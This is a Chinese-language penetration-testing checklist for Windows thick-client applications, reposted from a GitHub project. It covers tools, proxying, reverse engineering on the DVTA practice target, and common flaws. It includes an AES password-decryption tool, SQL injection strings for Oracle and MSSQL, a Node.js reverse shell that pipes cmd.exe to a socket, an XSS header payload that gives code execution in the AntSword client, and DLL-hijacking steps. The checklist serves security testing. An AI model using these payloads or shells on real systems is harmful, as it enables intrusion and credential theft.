PC客戶端(CS架構)客戶端滲透測試指南

  • 2019 年 10 月 11 日
  • 筆記

0x00前言

本項目主要針對PC客戶端(CS架構)滲透測試,結合自身測試經驗和網絡資料形成清單,如有任何問題,歡迎聯繫,期待大家貢獻更多的技巧和案例。

0x01概述

PC客戶端,有豐富功能的圖形用戶界面,CS架構。

0x02開發語言

C#(.NET),JAVA,DELPHI,C,C ++ ……

0x03協議

TCP,HTTP(S),TDS ……

0x04數據庫

Oracle,MSSQL,DB2 ……

0x05測試工具

//相關工具下載:https://github.com/theLSA/hack-cs-tools

dvta: pc客戶端靶場

ida pro: 靜態分析工具

ollydbg:動態分析工具

CFF Explorer:PE文件分析

PEID:查殼工具

exeinfope/studype:pe文件分析

wireshark:觀察流量

tcpview:觀察tcp流量

echo Mirage:可攔截tcp流量

burpsuite:http(s)抓包

proxifier:全局代理流量

procmon:文件和註冊表監控

regshot:註冊表變化對比

process Hacker:進程分析

RegfromApp:註冊表監控

WSExplorer:歲月聯盟進程抓包工具

strings:查看程序的字符串

.net[反]編譯:

dotpeek

de4dot

dnspy

ilspy

sae

ildasm

ilasm

Java反編譯

jad

jd-gui

jadx

dex2jar

在線版: javare.cn

www.javadecompilers.com

Reflexil:組裝編輯器(可以作為ilspy插件)

Vcg:自動化代碼審計工具

BinScope:二進制分析工具

0x06代理設置

大部分客戶端沒有代理配置功能,需要自行設置全局代理,如下兩種方法:

1)IE-互聯網設置 – 連接 – 局域網設置。

2)代理服務器/代理服務器規則

// http的流量可以結合burpsuite方便測試(代理服務器設置為burp代理地址)。

0x07測試點

0.1 信息收集

編譯信息,開發環境/語言,使用協議,數據庫,IP,混淆/加密,是否加殼等。

案例0-CFF查看客戶端信息(如編譯環境)

dvta

1. 逆向工程

反編譯,源代碼泄露,硬編碼密鑰/密碼,加解密邏輯,角色判斷邏輯(0-admin,1- normaluser),後門等。

案例0-反編譯獲取加解密邏輯並編寫解密工具

dvta

通過該邏輯和獲取的信息

加密的文本: CTsvjZ0jQghXYWbSRcPxpQ ==

AES密鑰: J8gLXc454o5tW2HEF7HahcXPufj9v8k8

IV: fq20T0gMnXa6g0l4

編寫解密工具

using System;  using System.Collections.Generic;  using System.ComponentModel;  using System.Data;  using System.Drawing;  using System.Linq;  using System.Text;  using System.Threading.Tasks;  using System.Windows.Forms;  using System.Security.Cryptography;    namespace aesdecrypt    {    public partial class aesdecrypt : Form    {    public aesdecrypt()    {    InitializeComponent();    }    private void decrypt(object sender, EventArgs e)    {    String key = 「J8gLXc454o5tW2HEF7HahcXPufj9v8k8」;    String IV = 「fq20T0gMnXa6g0l4」;    String encryptedtext = 「CTsvjZ0jQghXYWbSRcPxpQ==」;    byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);    AesCryptoServiceProvider aes = new AesCryptoServiceProvider();    aes.BlockSize = 128;    aes.KeySize = 256;    aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);    aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);    aes.Padding = PaddingMode.PKCS7;    aes.Mode = CipherMode.CBC;    ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);    byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);    String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);    Console.WriteLine(「n」);    Console.WriteLine(「##########Decryptig Database password##########n」);    Console.WriteLine(「Decrypted Database password:」 + decryptedString+」n」);    Console.WriteLine(「##########Done##########n」);    }    }    }

案例1-反編譯修改代碼邏輯讓普通用戶以管理員登錄

dvta

1-Isadmin

0 Normaluser

改1為0即可判斷為管理

2. 信息泄露

明文敏感信息,敏感文件(如安裝目錄下的xxx.config)。

註冊表:利用regshot比較客戶端運行(如登錄)前後註冊表差別。

開發調試日誌記錄(如dvta.exe >> log.txt)

process hacker查看客戶端內存中的明文敏感數據(如賬號密碼/密鑰)。

strings直接查看客戶端字符串(如IP信息)。

查看源代碼(如github上,gitee等)

案例0-配置敏感信息泄露

dvta

案例1-內存泄露數據庫賬號密碼

dvta

案例2-源代碼含有硬編碼的ftp賬號密碼

dvta

案例3-開發調試日誌泄露

dvta

案例4-某系統登錄後本地保存賬號密碼

//案例本。來源於https://blog.csdn.net/weixin_30685047/article/details/95916065

3. 傳輸流量

Wireshark / echo Mirage / burpsuite + nopeproxy / filler / charles

FTP等協議明文傳輸的賬號密碼

SQL語句明文傳輸(如利用構造注入,越權等)

案例0-正方教務系統的SQL語句明文傳輸,返回明文數據

//本案例來源於wooyun

4. 其他漏洞

爆破

如登錄功能。

用戶名枚舉

案例0

SQL語句暴露

案例0

SQL注入

如登錄處,萬能密碼

xxx』 or 『x』=』x

xxx』 or 1=1–

輸入框處,構造閉合報錯,如』、』)、%』)、order by 100–等。

利用顯示位或報錯注出數據,原理同web注入,不同數據庫大同小異。

案例0-oracle的注入

' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

案例1-MSSQL注入

111') and (select user)>0--

CSV注入

如導出excel,輸入1+1,導出後看是否為2。

弱口令

可嘗試admin 123456等。

XSS

如Electron,NodeWebKit等。

案例0-中國蟻劍xss到rce

環境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5

xss webshell:

<?php  header('HTTP/1.1 500 <img src=# onerror=alertx>');

WIN +的node.js:

成功

var net = require("net"), sh = require("child_process").exec("cmd.exe");    var client = new net.Socket();    client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);    sh.stderr.pipe(client);});
<?php    header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs = ,BASE64).toString())'>");    ?>

相關參考

https://www.anquanke.com/post/id/176379

命令執行

案例0-印象筆記窗口客戶端6.15本地文件讀取和遠程命令執行

http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6% 88%AB B7%E7%%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96 %E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C /

案例1某雲PC客戶端命令執行挖掘過程

https://www.secpulse.com/archives/53852.html

案例2-金山WPS郵件郵件客戶端遠程命令執行漏洞(Mozilla系XUL程序利用技巧)

https://shuimugan.com/bug/view?bug_no=193117

邏輯缺陷

測試點同網絡。

密碼明文傳輸

DLL劫持

Linux文件搜索順序:

  1. 當前目錄
  2. PATH順序值目錄

程序搜索Dll順序:

//沒提供絕對路徑

1.應用程序加載的目錄。

2.當前目錄。

3.系統目錄 (C:WindowsSystem32)。

4.16位的系統目錄。

5.Windows目錄。

6.PATH變量的目錄。

程序可以加載攻擊者放置的惡意dll。

利用procmon搜索程序加載的dll,觀察name not found。

msf生成惡意dll放置於程序加載位置,運行程序即可觸發payload。

案例0-DLL劫持

dvta

授權認證缺陷

註冊表鍵值,授權服務器返回信息構造。

相關參考

https://cloud.tencent.com/developer/article/1430899

越權

未授權

案例0-正方教務系統數據庫任意操作

知道IP即可接管數據庫

//本案例來源於wooyun

溢出

0x08相關技巧

1.wireshark直接過濾出服務器或數據庫的IP或協議方便查看,如

ip.addr == 1.2.3.4 && http

2.如果有數據庫賬號,可以用數據庫監控sql語句操作(如sql server profiler)。

0x09參考資料和&相關資源

https://resources.infosecinstitute.com

PDF下載地址:

https://github.com/theLSA/CS-checklist/blob/master/CS-checklist.pdf

相關工具的下載地址:

https://github.com/theLSA/hack-cs-tools

參考來源:Github

作者:theLSA

原文地址見點擊閱讀原文

如有侵權,請聯繫刪除